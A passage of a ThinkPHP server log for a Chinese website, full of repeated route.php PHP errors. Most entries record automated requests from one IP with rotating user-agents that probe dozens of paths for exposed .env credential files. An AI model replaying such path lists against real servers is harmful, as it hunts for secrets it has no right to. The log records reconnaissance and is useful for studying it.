(Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0', 'referer' => 'http://video.dispatch.tc.qq.com', ) [ info ] [ PARAM ] array ( 'vkey' => 'CE1A80FA993CD970575F93A465E278510194C9E6B0AD452F47BBE867C3E21E999CEF1A932A51B49677B6D621846D6578AC13B8F8DE624E108E2B6DE536DD1ECD7DAB956C458B2B6E865B194C991B180A9FB7A77944B6ABBF2C0EF7317598C950A0AFBACD6256ADBB3DD6215E3FF5935292A5D28FA4F17EB114BDEA5837EC210A83A2E4F9D956C8A0', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] --------------------------------------------------------------- [ 2024-11-14T02:22:01+08:00 ] 111.68.1.162 GET www.51tianwei.com/login.php?s=Admin/login [运行时间:0.002167s] [吞吐率:461.47req/s] [内存消耗:136.30kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Admin', 2 => 'login', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', 'content-type' => 'application/x-www-form-urlencoded', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:33:18+08:00 ] 78.153.140.151 GET 59.110.137.245/.env [运行时间:0.001831s] [吞吐率:546.13req/s] [内存消耗:132.72kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.env', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'accept' => '*/*', 'user-agent' => 'Mozilla/5.0 (iPod touch; CPU iPhone OS 11_2_6 like Mac OS X) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/11.0 Mobile/15D100 Safari/604.1', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:33:22+08:00 ] 78.153.140.151 GET 59.110.137.245/default/.env [运行时间:0.001750s] [吞吐率:571.43req/s] [内存消耗:132.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'default', 2 => '.env', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'accept' => '*/*', 'user-agent' => 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/99.0', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:34:13+08:00 ] 78.153.140.151 GET 59.110.137.245/delivery/.env [运行时间:0.001806s] [吞吐率:553.70req/s] [内存消耗:132.66kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'delivery', 2 => '.env', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'accept' => '*/*', 'user-agent' => 'Mozilla/5.0 (X11; CrOS armv7l 6946.86.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:34:37+08:00 ] 78.153.140.151 GET 59.110.137.245/dependencies/.env [运行时间:0.001770s] [吞吐率:564.97req/s] [内存消耗:133.02kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'dependencies', 2 => '.env', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'accept' => '*/*', 'user-agent' => 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MDDR; BRI/2; msn OptimizedIE8;ENUS)', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:35:08+08:00 ] 78.153.140.151 GET 59.110.137.245/deploy/.env [运行时间:0.001665s] [吞吐率:600.65req/s] [内存消耗:132.61kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'deploy', 2 => '.env', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'accept' => '*/*', 'user-agent' => 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36 OPR/44.0.2510.1218', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:35:11+08:00 ] 78.153.140.151 GET 59.110.137.245/deployment/.env [运行时间:0.001732s] [吞吐率:577.33req/s] [内存消耗:132.66kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'deployment', 2 => '.env', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'accept' => '*/*', 'user-agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 OPR/42.0.2393.137', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:35:12+08:00 ] 78.153.140.151 GET 59.110.137.245/developerslv/.env [运行时间:0.001679s] [吞吐率:595.61req/s] [内存消耗:132.68kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'developerslv', 2 => '.env', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'accept' => '*/*', 'user-agent' => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:35:17+08:00 ] 78.153.140.151 GET 59.110.137.245/directories/.env [运行时间:0.001692s] [吞吐率:591.00req/s] [内存消耗:132.62kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'directories', 2 => '.env', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'accept' => '*/*', 'user-agent' => 'Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12H143', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:35:18+08:00 ] 78.153.140.151 GET 59.110.137.245/django/.env [运行时间:0.001639s] [吞吐率:610.08req/s] [内存消耗:132.61kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'django', 2 => '.env', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'accept' => '*/*', 'user-agent' => 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:35:19+08:00 ] 78.153.140.151 GET 59.110.137.245/downloads/.env [运行时间:0.001650s] [吞吐率:606.11req/s] [内存消耗:133.13kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'downloads', 2 => '.env', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'accept' => '*/*', 'user-agent' => 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; MDDC; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTbOVO2/5.14.1.20007; BRI/2; yie8)', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:35:23+08:00 ] 78.153.140.151 GET 59.110.137.245/nginx/.env [运行时间:0.001810s] [吞吐率:552.46req/s] [内存消耗:132.77kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'nginx', 2 => '.env', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'accept' => '*/*', 'user-agent' => 'Mozilla/5.0 (iPad; U; CPU OS 4_3_4 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8K2 Safari/6533.18.5', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:36:26+08:00 ] 78.153.140.151 GET 59.110.137.245/robots/.env [运行时间:0.001846s] [吞吐率:541.69req/s] [内存消耗:132.70kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'robots', 2 => '.env', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'accept' => '*/*', 'user-agent' => 'mozilla/5.0 (Linux; Android 6.0.1; Nexus 5x build/mtc19t applewebkit/537.36 (KHTML, like Gecko) Chrome/51.0.2702.81 Mobile Safari/537.36', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:36:59+08:00 ] 78.153.140.151 GET 59.110.137.245/sample.env [运行时间:0.001748s] [吞吐率:572.13req/s] [内存消耗:132.81kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'sample.env', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'accept' => '*/*', 'user-agent' => 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0E; .NET4.0C; Tablet PC 2.0; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; McAfee; LCJB)', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:37:19+08:00 ] 78.153.140.151 GET 59.110.137.245/search/.env [运行时间:0.001696s] [吞吐率:589.58req/s] [内存消耗:132.61kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'search', 2 => '.env', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'accept' => '*/*', 'user-agent' => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_0) AppleWebKit/0600.1.25 (KHTML, like Gecko) FluidApp Version/1955 Safari/0600.1.25', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:37:35+08:00 ] 78.153.140.151 GET 59.110.137.245/sources/.env [运行时间:0.003563s] [吞吐率:280.67req/s] [内存消耗:132.38kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'sources', 2 => '.env', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'accept' => '*/*', 'user-agent' => 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20060814 Firefox/51.0', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:38:09+08:00 ] 78.153.140.151 GET 59.110.137.245/twilio.env [运行时间:0.001751s] [吞吐率:571.12req/s] [内存消耗:132.56kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'twilio.env', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'accept' => '*/*', 'user-agent' => 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/85.8.2 (KHTML, like Gecko) Safari/85.8', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:38:21+08:00 ] 78.153.140.151 GET 59.110.137.245/user/.env [运行时间:0.001705s] [吞吐率:586.45req/s] [内存消耗:132.38kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'user', 2 => '.env', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'accept' => '*/*', 'user-agent' => 'Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8) Gecko/20051130 Firefox/1.5', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:38:28+08:00 ] 78.153.140.151 GET 59.110.137.245/phpinfo/.env [运行时间:0.001881s] [吞吐率:531.66req/s] [内存消耗:132.67kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'phpinfo', 2 => '.env', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'accept' => '*/*', 'user-agent' => 'Mozilla/5.0 (Linux; U; Android 4.2.2; en-ca; GT-P3113 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:38:42+08:00 ] 78.153.140.151 GET 59.110.137.245/pictures/.env [运行时间:0.001804s] [吞吐率:554.36req/s] [内存消耗:132.66kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'pictures', 2 => '.env', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'accept' => '*/*', 'user-agent' => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:38:52+08:00 ] 78.153.140.151 GET 59.110.137.245/option/.env [运行时间:0.001665s] [吞吐率:600.56req/s] [内存消耗:132.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'option', 2 => '.env', ), 